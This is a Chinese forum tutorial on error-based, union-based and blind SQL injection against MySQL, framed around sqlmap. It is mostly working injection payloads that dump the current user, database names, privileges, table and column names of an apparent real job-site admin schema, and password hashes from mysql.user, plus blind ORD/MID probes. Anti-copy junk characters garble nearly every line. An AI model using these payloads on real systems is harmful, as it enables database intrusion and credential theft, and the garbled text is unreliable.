放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。2 Y/ j# f9 S/ k: j
2 V+ S, p% D K( C$ D
这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
% R) H) ]+ {9 T: U: V8 K 2 a, m4 y" e- R' k8 t& w
分类标准 分类 备注
' Z1 u; E; |, V& {! a按字段类型 整型注入,字符型注入 7 U+ `2 C# t- f9 H$ a7 x7 @
按出现的位置 get注入,post注入,cookie注入,http header注入 & O/ ^+ X o7 q8 m/ t: C
然而高级注入是这样的
5 \9 F i0 Y# d2 f
; _ G8 b4 {7 H: W" P6 S高级注入分类 条件
8 m' q/ X9 ~3 b/ F) ?% [ C: _error-based sql 数据库的错误回显可以返回,存在数据库,表结构
5 U }8 }8 W' O1 }$ R) V* gunion-based sql 能够使用union,存在数据库,表结构' u7 q1 n: s3 L. q$ [- ~3 `7 X. f
blind sql 存在注入
/ o- j; k3 S2 J7 L我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
1 O* v- p* q6 x ! y- m3 |, q1 I
好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
+ q- }7 Q8 d7 _! F4 ? / x+ d$ J/ b' k; K
附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。
# c9 p; {9 |& B2 V; ^4 ]; x9 W" e( s 7 `8 l$ z) N8 T# {
这里用mysql说明9 w% K8 Y2 l" R+ L1 U
4 G- w5 D' s1 R. P& A- b8 p5 N' Me注入坛子里很多了,请看戳我或者再戳我- a8 e8 h0 _8 T6 F6 j F7 {) z
5 a. B/ o8 @* s# m( T; w9 v) bu注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
% L a5 w( J) K M6 e' P. S- v " Y; {) Q: m- z4 K/ b
获取当前数据库用户名
( i5 @, m) X3 ^3 `- z# {3 k- V; C 1 k; w! R/ l2 w A
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C0 W, N4 i; z0 B& {8 @# |' U
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL8 K) k9 P' v. T4 r( }! b1 R
L, NULL#
4 K, i& a* k) V1 ^. u2 c注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。
1 B& ` S& P; p6 J g, J: `. I 9 d1 c* r$ D" N) ?: R
获取数据库名
6 ^; W9 o8 L7 g- v
: U8 M6 z1 [7 @3 t$ TUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
5 ]& |# R$ S8 v获取所有用户名' v: f1 d0 d4 f) |3 Z( F
+ E( p4 e/ N' f6 B1 HUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
6 C6 M$ Y7 G/ Q查看当前用户权限& Y0 T, r! d8 v. ]3 m& A, f
" s+ V, k. x6 x$ L
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
/ f6 i9 y8 f) [( q9 ]尝试获取密码,当然需要有能读mysql数据库的权限
3 h5 @" D+ Z% H9 _- d, E
, H0 J/ }6 z0 a2 k/ n, mUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#& w4 ?5 P+ c3 u) `5 ?
获取表名,limit什么的自己搞啦
$ u* l% W) e% L1 W$ g8 Y9 ~8 D5 Y
8 r2 J" M6 g- nUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#) V+ H8 N' r: W- ?5 d0 a
获取字段名及其类型
6 h' ^# ]: u0 \- u/ I: w* ^& ?2 MUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
$ o& Z% \' G. s 9 w6 S, z! V- ~$ q7 J. P
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。
9 F! h2 x7 k6 C3 U 2 ~5 J# O; d5 [1 h
如:
4 g0 w o/ d- P7 V( @) I获取当前用户名7 D. J* a9 K' h# N9 h
( m; E/ d9 C0 m& U1 m, CAND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116& t) l+ A. }5 X0 H& U0 Y$ Y
获取当前数据库: r: B+ u) z( G* L6 ]+ Q9 v0 ^2 u
3 E1 o2 W8 o: u0 T$ Q9 V
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
- Q, d$ f2 _: n/ g' Z/ ]9 O- c; n获取表名8 j; ~2 x1 l& b9 O: O6 A2 F
! Y1 Y' h3 L0 XAND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51" J: @" v6 B$ y
获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
; b8 Y% _) [1 [1 K, |回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。1 V- i9 Z- P3 c' f+ u- I& j3 ]: A
爆表- i: m! d2 Z, F
- G. W" G& z2 G
AND EXISTS(select * from table)' b. l! A0 E% K, \( w
爆字段
m# q" d) [8 N7 T6 O ! x& [7 @% @* M; Z- V8 |
AND EXISTS(select pwd from table)
; z8 k% R' X+ j" `+ G盲注的变化就比较多了,由于篇幅,只是举个例子而已。( E2 L& G6 l' f% {- v; k' N) T
! o4 Q* `/ H" D9 X: E0 y8 Q
本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。+ W# ~: w8 y& f) j' G3 `' ~/ F; B
|